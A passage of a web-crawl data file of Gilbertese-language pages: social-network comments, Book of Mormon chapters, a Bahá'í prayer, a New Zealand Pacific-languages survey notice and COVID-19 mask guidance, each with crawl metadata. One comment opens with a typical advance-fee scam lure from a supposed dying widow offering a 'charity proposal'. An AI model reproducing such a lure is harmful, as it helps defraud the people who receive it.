1.0000100135803223}","num_words":263,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"I am Mrs. Julie Mewis, an aging widow suffering from long time illness (Esophageal Cancer). I have some important information (charity proposal) for you, May God continue to bless you, Please reply (email@example.com) for more details.\nneiko,ngaia raoi anne.ko uti maka n online mai kane.komakuri? ka bara au bure ngkana i disturb ke!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.neiko ea ti bon menanaba i suva i makoi. ae iaon kawaira n okinako nako rabi.ngkai ae ti bon tataninga tebaruru tao e naroko nkon te weekend aei ao to tia nako naba noako rabi.oh!!! i maninga n tuangko ae kakaraoaki te botaki n utu n japan i rabi.last year aki naba koro nanona ba ea buaka naba rabi ao ak nako naba kaka maa nako rabi.ao ngke a rona ba eaki buaka ao tao ena bon boo atin te botaki.koraniko ba a narok ke kain labasa ao bon kain suva ak a aereke kantokaia.iai naba kain aia taibora tr chairman-buren, secretary-tebaruru,tresurer-teriribe,tia biriaki betareri.euara moa anne!!!!!!!!!!!!!!!!!!!! tai babakatang.\nhey!!!!!! thanx alot for the updatenews from ur side.yes thats right we dont even known our time.so we have to be prepared all the time.kabara buren te kakan tina ah!!!!!!!!!!!!!!!!!!!!!!!!.ngaia, are bon kainumam te iereti arei ekawa ba ea bon aki reke buokana man hosp.ma eanganaki one week baena observe vinaki natina ao tao ea oki wati naba.e bon rotaki n te nanokawaki ao e bon mangoa te tang.ko ianiko,ibrinako mai rakina ba ibon otaki naba ntangina.a taku doctrs ba teaekaki ni case arei e bon ti kona ni maui inanon 3 months ao a mate naba.\nneiko ai bon te kananokawaki,te news ae iongo mai ikanne. e mate uncle apelu. isa are tia bon raroanako ma ti bon uringi kami n ara tataro ao riki ti uringata uncle n ara tataro.neiko pliz invite me ba friend.ake rongo rongon ara tabo aio.ai bon aroarona naba.iai au friend ae kain tuvalu ae taku ba kain umam. e roko ikai ba e aoraki natina. ti kaitibo n teonaoraki,ba ti rin naba iroun baby.bon tenua ara wiiki nteo. bye moa ma ti manga ongora mai iroum.\nsis, ngaiara ti bon rangi ni marurung. ao ai bon iaon kawaina experiencing angin te bung, properly this week. a uara mama ao uncle? au kataninga ba arangi ni marurung.a uara taan kamaraki atu ake Jerry and Mariti are (aukamori)ah ah ah!.ko anga naba au kamauri nte ririki ae boou nakoia kain am auti ni kabane ao e moamoariki nei kamaraki atu are nei Areau. ngaira ngkai ti bon mena irouia ana koraki tebaruru i makoi.i kiriaria n okinako nako Rabi. tia boo moa\nTalofa!! Eakoi?? isa long time we havent seen u, ngkai ko mena ia, ao antai aran buum?? hey ti tabo koatara n tuvalu ker....ngkekei ngkoa ko tara n kesukesu hahaha.....tao koa angania kain am auti au kamauri ao ena tekeraoi te tiku ao te makuri ikanne.manga ongora iroum mawan am tai.\nTOFA!!\nhows the gang in Tuvalu???...just finished browsing thru your pictures...dang you got gujuz babaz..lol..anywayz everyone is good here in Fiji....when you have time...pop arund at my page wif hot news from thea...take care and smell you soon.\nmauri nei kaubutae mairoun kikira ao te kamauri naba mairoun buun kikira mai butom rikaki.ah!!!!!!ah!!!!ah!!!! E kabara ana bure kikira ngkai e aki reke kaitiboona ma ngkoe n rokom ae nako ba ea rangini raroa ba e mena i makoi. ko uara moa ngkai? Te kanganga ne arom ba te mamananga man neneweaba. Kateimatoa aron te rikirake ba ko aonga n roko rikin are ieta. E tekeraoi te waaki ao koa anga naba ara kamauri nakoia kain am auti ao e moamoa riki nakon nei areu.Tia boo boo moa. Ngkai i boni mena naba i Suva ao nna nako rabi n next week.\nGood so i'll see you at the Tanoa Hotel but i wont gurantee that i will see you cos very busy at the moment.Just take care and all the best in your endaveous........If i come around to Tanoa Hotel then i'll be there otherwise i wont be there!!!!!!\nTofa.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=03g71t0tyz2fg","date":"2021-12-02T18:22:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362287.26\/warc\/CC-MAIN-20211202175510-20211202205510-00636.warc.gz","language":"gil","language_score":0.9957909584,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.995790958404541}","num_words":667,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Taraia, e koro bukina bwa Ngai ae aEnoti, I ataia bwa tamau bbon te aomata ae motiraoi—bwa e a tia n creireinai n aron ana taeka, ao n aron naba dkawain te Uea—ao e na kakabwaiaki aran te Atua ibukin aio—\n3 Taraia, I mwananga nako buakonikai bwa N na kaeman; ao e a rin inanou taian taeka ake I aki toki n ongo mai iroun tamau ake e taetaekina iai te maiu ae akea tokina, ma te akimwareirei are e breke irouia aomata aika itiaki.\n4 Ao e abaki tamneiu ni kan ongo taekan bwaai aikai; ao I bkatorobubua imatan te Tia Karikai, ao I wewete nakoina i nanon te ctataro ma nanou ni kabane ao ni bubuti ibukin tamneiu; ao e bwanin au bong ni wewete nakoina; eng, ao ngke e a bong ao I a kabaibati riki bwanaau ni wewete ao e roota karawa.\n5 Ao e a roko te abwanaa nakoiu ni kangai: Enoti, a na kabwaraki am bure, ao ko na kakabwaiaki.\n6 Ao Ngai ae Enoti, I ataia bwa e aki kona ni kewe te Atua; mangaia ae a mauna namakinan te bure mai irou.\n7 Ao I taku nakon te Uea, e kanga ni karaoaki aio?\n8 Ao E taku nakoiu: E kona ni karaoaki ibukin korakoran am aonimaki iroun Kristo, ae ko tuai n ongo taekana ke n nooria. Ao a na mwaiti ririki aika a na roko i mwaain ae e kaoti n rabwata nakon te aonaba; mangaia ae toua nako kawaim, e bkamaiuko am onimaki.\n10 I nanon taben tamneiu ni karaoa aio, ao taraia, e a roko bwanaan te Uea ainanou ni kangai: N na kawaria tarim n aron korakoran aia kakaonimaki ni kaawakin au tua. I a tia n banganiia te aba aio, ae te aba ae tabu; ao N na aki ckarekea kain te aba ma ti ngkana a karaoa te bure aomata ake a maeka iaona; mangaia ae N na kawaria tarim n aron are I a tia n taekinna; ao N na katuaeia n aron riaoan tua ake a karaoi.\n11 Ao ngke I a tia, Ngai ae Enoti, n ongo bwaai aikai ao e a rikirake korakoran au onimaki iroun te Uea; ao I a kakorakorai n tataro nakoina ibukiia tariu aika Reimwanaite.\n13 Ao taraia, aio te bwai are I tangiria bwa e na karaoia—bwa ngkana arona bwa a bwaka n riaon te tua au botanaomata aika Nibwaite, ao a abane ni mate, ao a aki mate Reimwanaite, ao e na bkaawakin aia rongorongo au botanaomata, aika Nibwaite, te Uea ae te Atua; ngkana e reke ni mwaakan baina ae tabu, bwa e aonga ni kona ni cmanga kaokaki ni boong aika a na roko nakoia Reimwanaite, bwa daonga ni kamaiuaki iai, ngkana e riai—\n14 Bwa n te tai aio ao a bane korakorara ma ti aaki kona ni kaokiia nakon te aro ae koaua. Ao a tuea ma unin nanoia, bwa ngkana a kona ao a na tiringira ao a na bkamaunai ara rongorongo, ao aia katei ni kabane ara bakatibu.\n15 Mangaia ae ngkai I ataia bwa e kona te Uea ae te Atua ni akaawakin ara rongorongo, ao I teimatoa n tataro nakoina, bwa e a tia n taku nakoiu: Bwaai ni kabane ake ko bubuti ma te onimaki, ma ni kakoaua bwa e na reke iroum n aran Kristo, ao a na reke nakoim.\n17 Ao Ngai ae Enoti, I ataia bwa e riki n aron are e taku n ana berita ae tabu; mangaia ae e a rau tamneiu.\n18 Ao e taku te Uea nakoiu: A tia naba am bakatibu ni butiai bwa N na karaoa aio; ao e kakoroaki bukina nakoia ni kaineti ma aia onimaki; bwa titebo aia onimaki ma am onimaki.\n19 Ao ngkai e koro bukina bwa Ngai ae Enoti, I a mwaamwananga i buakoia ana botanaomata Nibwaai, n taetae ni burabetin bwaai aika a na riki, n tataekin bwaai ake I a tia n noori man ongo taekaia.\n20 Ao I kakoaua bwa a kataia ma nanoia ni kabane ana botanaomata Nibwaai ni kaokia Reimwanaite nakon ana onimaki ni koaua te Atua. Ma akea uaan ara amwakuri; bwa e teimatoa aia kairiribai, ao a kairaki n anuaia ae buakaka n te aro are a riki ni moaanti, ma n unun, ma n riki bwa aomata aika a btangira te tiriaomata, ma n on n te ctabunea ao te kammaira; ni kang maan aika kaakang; ni maeka i nanon taian umwanrianna, man tiotio nako i nanon te rereua ma karaban mwaaia ae kimototo ao ni iman atuuia; ao a korakora rabakauia ni kabongana te dkai ni katebe, ma te kabaang ae bwaoua, ma te tanai. Ao a mwaiti i buakoia aika akea kanaia ma ti te iriko maiu ae oraora; ao a teimatoa ni kataia n tiringira.\n21 Ao e koro bukina bwa ana botanaomata Nibwaai a ribana te aba, ao a auniki aekan wiita, ma uaanikai, ma ni kaawakin nanai ni man aika a kakaokoro, ma aekan nanai ni kao aika kakaokoro, ma kooti, ma kooti aika a moaanti, ao taian aoti aika a mwaiti.\n23 Ao aron kauringakia bwa aonga n teimatoa ni maaka te Uea bon te akankamatoa n taetae, te kabwarabwara ma te btaetae ni burabeti n taekan taian buaka, ma itabaraara, ma te kamaunaki, ma ni ckauringia taekan te mate, ma maanin te tai are akea tokina, ma ana moti ao mwaakan te Atua, n aron aikai ni kabane—ni kaumakiia n dtaai nako ni kateimatoaia bwa a na maaka te Uea. I tuangingkami bwa bon ti bwaai aikai, ma te kabwarabwara ae maataata, are a tuka bwakaia nakon waekoan reken mateia. Ao aikai aron taekaia aika I a tia ni koroi.\n24 Ao I noori taian bubuaka imarenaia Nibwaite ma Reimwanaite i nanon au bong ni maiu.\n25 Ao e koro bukina bwa e a roko iroun Ramonaai te kara, ao ai tebubua itibwi ma ruaiwa te ririki iwmiin akitanan Ierutarem iroun tamara are Riaai.\n26 Ao I nooria bwa e a kan au tai n nako nanon te rua ni mate, ao I a tia n niniaki ni mwaakan te Atua bwa N na kabwarabwara ma n taetae ni burabeti nakoia te botanaomata aio ao n taetaekina te taeka n aron te koaua are reke mai iroun Kristo. Ao I a tia n taetaekin ni kabane i nanon bongin maiu, ao I kimwareirei iai n riao riki nakon bwain te aonaba.\n27 Ao N nang nako nakon nneu ni amotirawa are N na maeka iai ma au Tia Kaboai; bwa I ataia bwa N na motirawa irouna. Ao N na kimwareirei n te bong are e na riki iai brabwatau ae maamate bwa te crabwata ae aki maamate, ao e na tei imatana; ao N na kona ngkanne n itaramata mangaia ma te kukurei, ao e na kangai nakoiu: Nako mai nakoiu, ngkoe ae ko kakabwaiaki, iai nnem are e a tia ni katauraoaki n ana dnne ni maeka Tamau. Amen.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/enos\/1?lang=gil","date":"2021-12-08T10:14:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00408.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1144,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E riai bwa e na ataaki n aaba, reeti, neewe, ma botannaomata ni kabaneia ake a na reke irouia te boki aio: Bwa ngaira i nanon ana akoi te Atua te Tama, ma ara Uea ae Iesu Kristo, ti a tia n noori bwaatua ake a taekinaki iai rongorongo aikai, are reekotiia ana botannaomata Nibwaai, ao Reimwanaite naba, tariia, ao ana botannaomata naba Iareta, ake a roko man te taua are e a tia n taekinaki. Ao ti ataia naba bwa a tia n rairaki man ana bwai n tituaraoi ma mwaakan te Atua, bwa e taekinna bwanaana nakoira; mangaia ae ti ataia ma te aki nanokokoraki bwa e koaua te boki aio. Ti kakoaua naba bwa ti a tia n noori taian koroboki iaon taian bwaatua; ao a tia ni kaotaki nakoira ni mwaakan te Atua, ao tiaki ni mwaakan te aomata. Ao ti kaotia naba ma te koaua, bwa e ruo ana anera te Atua mai karawa, ao e uoti ma ni kawenei i matara, ao ti taraia man noori taian bwaatua, ao koroboki ake iaoia; ao ti ataia bwa bon man ana akoi te Atua te Tama, ao ara Uea ae Iesu Kristo, ake ti a noori man tataekinna bwa a koaua bwaai aikai. Ao a bon kamiimii i matara. Ma e ngae n anne e tua bwanaan te Uea bwa ti riai n tataekin; mangaia ae, bwa ti aonga n ongeaba nakon ana tua te Atua ni kabane, ti na kaota koauan bwaai aikai. Ao ti ataia bwa ngkana ti kakaonimaki i nanon Kristo, ti na kaitiaki kunnikaira man raraaia aomata ni kabane, ao ni kuneaki n akea barekam i matan ana kaintoka ni motikitaeka Kristo, ao ti na manga maeka mangaia i karawa n aki toki. Ao te kamoamoaki e na nakon te Tama, ao nakon te Nati, ao nakon te Tamnei ae Raoiroi, ae te Atua ae ti temanna. Amen.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm?lang=gil","date":"2021-12-08T20:08:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363520.30\/warc\/CC-MAIN-20211208175210-20211208205210-00510.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":316,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.465,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI NATIN TE MIMITONG AE AKEA NANONA!\nN te tautaeka ae uarereke taina are kam a tia iai ni kaaki Au tautaeka ae akea tokina, ao kam a tia ni katamaroai ngkami ma kakukurein nako te aonaaba ao ni karikia bwa kan tiroakimi. N Tamaroau! Ni kabane ake a na bane ni botaki i aan ti tematana te rabuna ni bubuantano ao ni kamaunai kakaokoron matamata aikai nakon teuana are Nna bon rineia, are e na roko man maata nako.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.bahaiprayers.io\/prayer?id=403740&to=gil","date":"2021-11-26T23:50:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358074.14\/warc\/CC-MAIN-20211126224056-20211127014056-00267.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":81,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te kabanea n tai are e karaoaki iai te kakae ae bubura i aon aia taetae kain te Betebeke i aon Aotearoa, iai kerikakin kabonganan taetaen te Betebeke ao n tabeua taabo e rang korakora kerikakina. Te kakae ngkanne aio e karaoaki ma te kantaninga ae e na kona riki n ibuobuoki nakon karaoan babaire i aon kaungan ma boutokan, kawakinan ao kateimatoan aia taetae kain te Betebeke i aon Aotearoa.\nNgkana te roronrikirake ngkoe, te karo, te tia reirei ke te tia kairiri ke bon temanna ngkoe ae e babane nanom ni boutoka aia taetae kain te Betebeke bwa e na rikirake – ti nang butimwaei am iango ni ibuobuoki. Ti butimwaei naba iango man rabwata aika kakaokoro, bitineti, botaki n Aro ao botaki nako aika mwakuri ma kain te Betebeke.\nTitiraki i nanon te kakae aio e nakon 15-20 te miniti karaoana.\nE a tia naba ni kariaiakaki karaoan te mwakuri aio iroun te rabwata are e tabe ma aekaki ni waaki aikai ae te New Zealand Ethics Committee: NZEC21_26.\nTe Leo Moana o Aotearoa – Te mwakuri ae e na karaoaki ibukin aia taetae kain te Betebeke i aon Aotearoa bon te moan mwakuri ni kakae ae e a tibwa wakinaki i aon kamatebwaian aron kabonganakin ao aroaro ni kaineti ma taetaen aban te Betebeke aika ruaiwa i aon Aotearoa –Tokelau, Niue, Kuki Āirani, Samoa, Tonga, Tuvalu, Bitii, Rotuma ao ai Kiribati.\nBoton te mwakuri ke te kakae aio bon ibukin:\nTe mwakuri ni kakae aio e na bon karaoa te reitaki ma aomata rinanon kanoakin booma ike a na kaoti aia iango iai aomata ni ikotaki ma te maroro ma ruaiwa aban te Betebeke i aon Aotearoa ae bwanin (Tokelau, Niue, Cook Islands, Samoa, Tonga, Tuvalu, Fiji, Rotuma, ao Kiribati) ni karekei raoi iango ma kamatata ibukin kabonganan ma kakawakin aia taetae kain te Betebeke irouia kain te Betebeke i aon Aotearoa.\nMwin te mwakuri ni kakae aei e na bon:\nTe aekaki ni kakae aio e na karekei rongorongo aika riai ma irouia kain te Betebeke aika maeka i aon Aotearoa (15 te ririki ni waerake), i aon kabonganan taetaen te Betebeke n anga aika a bati i aon Aotearoa, ao aroia ni kaineti ma aia taetae. Te kakae aio e na karaoaki n te taetae n Imatang ao ruaiwa taetaen te Betebeke.\nTi ataia bwa e rang kakawaki taetaen te Betebeke irouia kain te Betebeke i aon Aotearoa ae bwanin.\nAi ngaia are ngkana ngkoe te roronrikirake, te karo, te tia reirei, te tia kairiri ke tao temanna ngkoe ae ko a kabi n taetae n oin am taeka, ke ko rang rabakau am taetae ke ko a tibwa tabe n reiakiniko am taetae – ti rang kaungako bwa ko na karaoa te kakae aio online. Ti kan ongora am iango ke am maroro.\nTi kainanoi ami buoka n iango ni baika ti riai ni karaoi n te aro bwa e na rikirake kabonganan taetaen te Betebeke i aon Aotearoa, ao ni boutoka manga kabouan, kateimatoan ao kawakinan te taetae n te Betebeke i aon Aotearoa.\nMan ami buoka n iango ao ti na kona n reitaki iai ma te Tautaeka ibukin baika a kainanoaki bwa e aonga n teimatoa n rikirake taetaen te Betebeke i aon Aotearoa.\nReitaki nakon te Ministry for Pacific Peoples i aon aei [email protected]\nE aki kaotaki te ara n te kakae aio. Are nanona bwa akea te aomata temanna ni ikotaki ma taan mwakuri ke taan tararua te kakae aio ae e kona n ataiko ke ni kinako. Ko na tuangaki bwa ko na anga am kariaia imwain ae ko karaoa te kakae online ao ngkana ko kaekai titiraki i aon te kakae aio, ko a kaotia ngkanne bwa ko anga te kariaia nakoira bwa ti na kabonganai am kaeka ke rongorongo ake ko korei n te mwakuri ni kakae aio.\nAm reke ke am kaeka a na bon teimatoa n aki ataki mania man aki ataki aomataia. Ngkana ko kanakoi am kaeka, e na bon kanganga atakin manna ke manga ruamwian am reke irouia tabemwang. Taiaoka n aki kaota aram ke rongorongo aika ko na kona n ataki iai i nanon am reke.\nTi nake tabeia tararuan te kakae aio aika a na kona n botii taian kaeka ma rongorongo ao a na bane ni kabuaki taekaia imwin 10 te ririki.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.mpp.govt.nz\/programmes\/pacific-languages-survey\/kiribati\/","date":"2021-12-03T04:24:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00284.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":720,"character_repetition_ratio":0.121,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Taraia, e koro bukina bwa Ngai ae Ominai, I a tuangaki iroun tamau, ae Iarom, bwa N na karina au koroboki i nanon bwaatua aikai, bwa N na reita ara kateiriki—\n2 Mangaia ae i nanon bongin maiu, I tangiria bwa kam na ataia ae I rii nanon taian buaka ma au kabaang ibukin kateimatoan au botanaomata, aika Nibwaite, bwa a na aki reke i nanon baia ara kairiribai, aika Reimwanaite. Ma taraia, bon te aomata Ngai ae I buakaka, ao I a tia n aki kaawakin ana katei ma ana tua nako te Uea n aron ae N na riai ni kaawakin.\n3 Ao e koro bukina bwa ai uabubua itibwi ma onoua te ririki n nako, ao a mwaiti tai aika ti maiu iai i nanon te rau; ao a mwaiti naba tai aika ti maiu iai i nanon te bubuaka ma te tiritiri. Eng, ao ni kakimototoa, ai bon uabubua wanibwi ma uoua te ririki n nako, ao I kawakin taian bwaatua aikai n aron aia atua au bakatibu; ao I anga tua aikai nakon natiu ae Amaron. Ao I a katoka au koroboki.\n4 Ao ngkai, Ngai ae Amaron, I koroi bwaai aika I kan koroi taekaia, aika a karako, i nanon ana boki tamau.\n5 Taraia, ai tenibubua uabwi te ririki n nako, ao a mwaiti aika buakaka mai i buakoia Nibwaite aika a tia n atiringaki.\n6 Bwa e aki tangiria te Uea bwa e na aki kakoauaki ana taeka ake taekin nakoia ara bakatibu, man tia ni kairia nako mai Ierutarem ao ni kamanoia bwa a na aki bwaka nako nanon baia aia kairiribai, eng, ngke kangai: Ngkana kam aki kaawakin au tua ao kam na aki kakabwaiaki iaon te aba.\n7 Mangaia ae e karuoa nakoia te tua ae korakora te Uea; ma e aki tiringia aika a raoiroi, ma e kamaiuia mai nanon baia aia kairiribai.\n8 Ao e koro bukina bwa I a angan tariu ae Kemeti taian bwaatua.\n9 Ngkai, Ngai ae Kemeti, I a koroi bwaai aika a kimototo, i nanon te boki are e koroboki iai tariu; bwa taraia, I noora te kabane ni bwai are e koroia, ao e koroia n oin baina; ao e koroia n te bong are e anganai iai taian bwaatua. Ao aio aron kaawakinan taian rongorongo iroura, bwa kaineti ma taian tua ake e anganiira ara bakatibu. Ao I a katoka au koroboki ikai.\n10 Taraia, Ngai ae Abinatom, bon natin Kemeti. Taraia, e koro bukina bwa a mwaiti bubuaka ma itabaraara aika I a tia n noori imarenaia au botanaomata, aika Nibwaite, ma Reimwanaite; ao I a tia n tabeka au kabaang n anai maiuia Reimwanaite aika a mwaiti ibukin katokan kaia tariu.\n11 Ao taraia a koreaki rongorongoia te botanaomata aio iaon bwaatua aika aia bwai taian uea, man te uea temanna nakon temanna; ao akea kaotioti ma taeka ni burabeti aika I atai taekaia aika a tia ni koreaki aika a aki kakawaki bukin koreaia. Ao I a katoka au koroboki ikai.\n12 Taraia, Ngai Amareki, ae natin Abinatom. Taraia N na taekina taekan Motiaea nakoimi, are karikaki bwa te uea iaon Taraemera; bwa taraia, e tuangaki iroun te Uea bwa e na kitana aban aNibwaai, ao aomata ni kabane ake a ongo man ongeaba nakon te Uea a na iria ni bkitana te aba, nako nanon te rereua—\n13 Ao e koro bukina bwa e karaoa are e tuangaki iroun te Uea. Ao e a kitana te aba nako nanon te rereua, ao a iria aika a mwaiti aika a ongeaba nakon bwanaan te Uea; ao a kairiraki n taeka n reirei ma taetae ni burabeti. Ao a aki toki n reireinaki n ana taeka te Atua; ao a kairaki ni mwaakan baina, i nanon te rereua, ni karokoa ae a roko n te aba ae arana Taraemera.\n14 Ao a kunea te botanaomata ikekei, aika a aranaki bwa ana botanaomata aTaraemera. Ao e korakora te kimwareirei i buakoia ana botanaomata Taraemera; ao e korakora naba kimwareirein te uea ae Taraemera, ngkai e a tia te Uea ni kanakoia ana botanaomata Motiaea ma taian bbwaatua aika buraati aika kanoaia rongorongoia Iutaia.\n16 Ao a rinanon te rereua, ao a kairaki ni bain te Uea rinanon marawa aika korakora, nakon te aba are e kuneia iai Motiaea; ao a maeka n te tabo arei man te tai are a moan roko iai.\n17 Ao n te tai are e kuneia iai Motiaea ao e a korakora mwaitia. I rarikin anne, a tia naba n rinanon bubuaka ma itabaraara aika a mwaiti, ao a tia ni konaki n taai tabetai; ao e a buakaka aron aia taetae; ao akea ataian rongorongo aika a uoti mai ma ngaiia; ao a kaakea maiun aia Tia Karikibwai; ao e aki oota Motiaea, ke ana botanaomata irouia.\n18 Ma e koro bukina bwa e motikia Motiaea bwa a na reireinaki aron ana taetae. Ao e koro bukina bwa ngke a tia n reireinaki n aron ana taetae Motiaea, ao e a taekina kateirikiaia ana bakatibu Taraemera, n aron are e kona n uringnga; ao a koreaki taekaia, ma tiaki i nanon bwaatua aikai.\n20 Ao e koro bukina bwa n ana bong Motiaea, ao e a uotaki te atibu ae bubura nakoina aika iai koroboki iaona; ao e arairi nanon taian koroboki n aron ana bwai n tituaraoi ma mwaakan te Atua.\n21 Ao a taekina rongorongon te aomata ae arana aKoriantamwa, ma aron tiringakia ana botanaomata. Ao e kuneaki Koriantamwa irouia ana botanaomata Taraemera; ao e maeka i buakoia i nanon te maan ae ruaiwa te namwakaina.\n22 Ao a taekinaki iaon te atibu arei taekaia ana bakatibu. A roko ana bakatibu man te ataua, n te tai are bkamangaoa iai aia taetae aomata te Uea; ao e korakora namakinan ana mwakuri ni katuaa te Uea irouia n aron ana motikitaeka, aika a tuaraoi; ao a wene criia ni kabuta aban mainiku.\n23 Taraia, Ngai ae Amareki, I bungiaki n ana bong Motiaea; ao I maiu ni karokoa tain matena; ao e onea mwiina n uea, natina ae aBeniamina.\n24 Ao taraia, I a tia n noori bubuaka ma tiriaomata aika korakora n ana tai te uea ae Beniamina, imarenaia Nibwaite ma Reimwanaite. Ma taraia, a totokanikai Nibwaite iaoia; eng, ao e a tia te uea ae Beniamina ni kakionakoia nako mai aban Taraemera.\n25 Ao e koro bukina bwa I a rootaki n te kara; ao ngkai akea natiu, ao I ataia bwa te aomata ae e tuaraoi aBeniamina i matan te Uea, ngaia ae I a banganna taian bwaatua aikai, ao I taetaekinna nakoia aomata ni kabane bwa a na nakon te Atua, ae Atuan Iteraera ae Tabu, ao a na kakoauai taetae ni burabeti, ma taian kaotioti, ma aia mwakuri n ibuobuoki anera, ma te bwaintituaraoi ae te taetae n neewe, ao n te bwaintituaraoi ae rairan taian taetae, ao ni bwaai ni kabane aika a craoiroi; bwa akea te bwai ae raoiroi ae aki nako mai iroun te Uea; ao bwai aika a buakaka a nako mai iroun te riaboro.\n26 Ao ngkai, tariu aika kam tangiraki, I tangiria bwa kam na anakon Kristo, ae Atuan Iteraera ae Tabu, ao kam na karekea ana kamaiu, ma mwaakan ana kabomwi. Eng, kam na nakoina, ao kam na banganna tamneimi bwa ami ckarea nakoina, ao kam na teimatoa n te daki mamatam ma te tataro nakoina, ao n teimatoa ni karokoa te toki; ao ngkai e koaua bwa e maiu te Uea, ao kam na kamaiuaki.\n27 Ao ngkai N nang taekiniia ake a nako nanon te rereua bwa a na okira aban Nibwaai; bwa a mwaiti ake a kan okira aban rikiia.\n28 Mangaia ae a mwananga nakon te rereua. E ngae ngke e aintoa ma ni korakora aia tia kairi, ao bon te aomata naba ae kamoamoa, mangaia ae e a karika te itabaraara i marenaia; ao a bane n atiringaki, n ti nimangaun nikiraia, i nanon te rereua, ao a okira aban Taraemera.\n29 Ao e koro bukina bwa a manga kairiia aomata aika moan te mwaiti, ao a manga moana mwanangaia nako nanon te rereua.\n30 Ao Ngai ae Amareki, iai tariu are e iria nako; ao akea taekaia ae I ataia i mwiin aio. Ao I a kaniia weneu n te rua ni mate; ao a kebo taian abwaatua aikai. Ao I a katoka au taetae ni kawai.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.churchofjesuschrist.org\/study\/scriptures\/bofm\/omni\/1?lang=gil","date":"2021-12-08T10:26:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00204.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1376,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kamanoan am baronga ke am komuniti | Protecting your community\nKakae nako aron kamanoam ao kamanoan am community man te COVID-19\nRabunan te ubu ao taian matike | Face coverings and masks\nRabunan te ubu a kona ni kakerikaka butin te COVID-19. E buoka totokoan tamrurun te baware ni maenako ngkana e taetae, ngare, bekebeko ke e mwatie te aomata. Aio ni ikotaki ma te aomata are e reke n te COVID-19 ao n namakina te marurung ke akea kainikina aika a noraki irouna.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/covid19.govt.nz\/translations\/kiribati\/protecting-your-community\/","date":"2021-12-01T21:20:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964360951.9\/warc\/CC-MAIN-20211201203843-20211201233843-00235.warc.gz","language":"gil","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000030994415283}","num_words":82,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Boki Moomon bon te boki ae kanoan te koroboki ae tabu ae e kona ni kabootauaki ma te Baibara. Bon rongorongon ana mwakuri te Atua ma kaain Amerika ni kabuta ngkoa ao iai i nanona bwaninin te euangkerio ae akea tokina.\nE koreaki te Boki aei irouia burabeti ake ngkoa aika a mwaiti rinanon tamnein taeka ni burabeti ao ni kaotioti. Aia taeka, ake a koreaki iaon bwaatua aika koora, a manga koreaki ao ma ni kakimototoaki iroun te burabeti ae te tia tau mwiin rongorongo ae Moomon. I nanon te reekoti 